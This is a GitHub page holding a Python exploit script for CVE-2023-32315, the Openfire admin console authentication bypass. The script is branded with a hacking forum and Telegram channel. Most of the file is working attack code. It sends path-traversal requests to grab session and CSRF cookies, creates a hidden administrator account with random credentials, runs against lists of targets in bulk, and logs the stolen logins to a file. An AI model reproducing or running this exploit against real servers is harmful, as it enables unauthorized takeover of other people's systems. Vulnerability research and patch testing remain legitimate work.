-
Notifications
You must be signed in to change notification settings - Fork 3
/
CVE-2023–32315.py
149 lines (123 loc) · 9.2 KB
/
CVE-2023–32315.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# Author: Pari Malam
import random
import string
import argparse
import os
import HackRequests
from sys import stdout
from colorama import Fore, init
# from concurrent.futures import ThreadPoolExecutor
init(autoreset=True)
FY = Fore.YELLOW
FG = Fore.GREEN
FR = Fore.RED
FW = Fore.WHITE
FC = Fore.CYAN
def banners():
os.system('clear' if os.name == 'posix' else 'cls')
stdout.write(" \n")
stdout.write(""+Fore.LIGHTRED_EX +"██████╗ ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██████╗ ██████╗███████╗ ██╗ ██████╗ \n")
stdout.write(""+Fore.LIGHTRED_EX +"██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝ ██║██╔═══██╗\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██████╔╝███████║██║ ███╗██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║ █████╗ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██████╔╝██║ ██║██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██║ ╚██████╔╝██║ ██║╚██████╗███████╗██╗██║╚██████╔╝\n")
stdout.write(""+Fore.LIGHTRED_EX +"╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚═════╝ \n")
stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦════════════════════════════════════════════════════════════\n")
stdout.write(""+Fore.YELLOW +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" PARI MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" GITHUB.COM/PARI-MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╔════════════════════════════════════════════════════════════════════════════╝\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"OFFICIAL FORUM "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" DRAGONFORCE.IO "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"OFFICIAL TELEGRAM "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" TELEGRAM.ME/DRAGONFORCEIO "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╚════════════════════════════════════════════════════════════════════════════╝\n")
print(f"{Fore.YELLOW}{FY}[CVE-2023–32315] - {Fore.GREEN}Openfire Console Authentication Bypass Vulnerability\n")
banners()
def generate_random_string(length):
charset = string.ascii_lowercase + string.digits
return ''.join(random.choice(charset) for _ in range(length))
def between(string, starting, ending):
s = string.find(starting)
if s < 0:
return ""
s += len(starting)
e = string[s:].find(ending)
if e < 0:
return ""
return string[s : s+e]
final_result = []
def exploit(target):
hack = HackRequests.hackRequests()
host = target.split("://")[1]
jsessionid = ""
csrf = ""
try:
url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"
# log_url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"
# plugin_url = f"{target}/setup/setup-/../../plugin-admin.jsp?update=true&restart=true"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"DNT": "1",
"X-Forwarded-For": "1.3.3.7",
"Upgrade-Insecure-Requests": "1"
}
print(f"{FY}[CVE-2023–32315] - {FW}{target} - {FG}Checking in current... Please be patient!")
r = hack.http(url, headers=headers)
jsessionid = r.cookies.get('JSESSIONID', '')
csrf = r.cookies.get('csrf', '')
if jsessionid != "" and csrf != "":
print(f"{FY}[CVE-2023–32315] - {FW}{target} - {FG}[w00t!] {FY}JSESSIONID: {FW}{jsessionid} {FY}CSRF: {FW}{csrf}")
else:
print(f"{FY}[CVE-2023–32315] - {FW}{target} - {FR}[Failed] Cannot obatained jsessionid and csrf")
return
u = generate_random_string(6)
p = generate_random_string(6)
headerss = {
"Host": host,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"DNT": "1",
"X-Forwarded-For": "1.3.3.7",
"Upgrade-Insecure-Requests": "1"
}
create_user = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={u}&name=&email=&password={p}&passwordConfirm={p}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
r = hack.http(create_user, headers=headerss)
if r.status_code == 200:
print(f"{FY}[CVE-2023–32315] - {FW}{target} - {FG}[w00t!] Successful with no problemo!\n\n{FY}[+] URLs: {target}\nUsername: {u}\nPassword: {p}\n\n")
with open("Results/Results.txt", "a+") as f:
if not os.path.exists('Results'):
os.mkdir('Results')
f.write(f".++==========[Pari Malam]==========++.\n[+] URLs: {target}\nUsername: {u}\nPassword: {p}\n\n")
else:
print(f"{FY}[CVE-2023–32315] - {FW}{target} - {FR}[Failed!]")
except Exception as e:
print(f"{FY}[CVE-2023–32315] - {FW}{target} - {FR}[Failed!] - Error occurred while retrieving cookies")
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='single ip/domain example: example.com - 127.0.0.1:9090', default=False)
parser.add_argument("-l", "--list", action="store", help="massive authentication with same format", default=False)
args = parser.parse_args()
if args.target is not False:
exploit(args.target)
elif args.list is not False:
with open(args.list) as targets:
for target in targets:
target = target.rstrip()
if target == "":
continue
if "http" not in target:
target = "http://" + target
exploit(target)
else:
parser.print_help()
parser.exit()
if __name__ == "__main__":
main()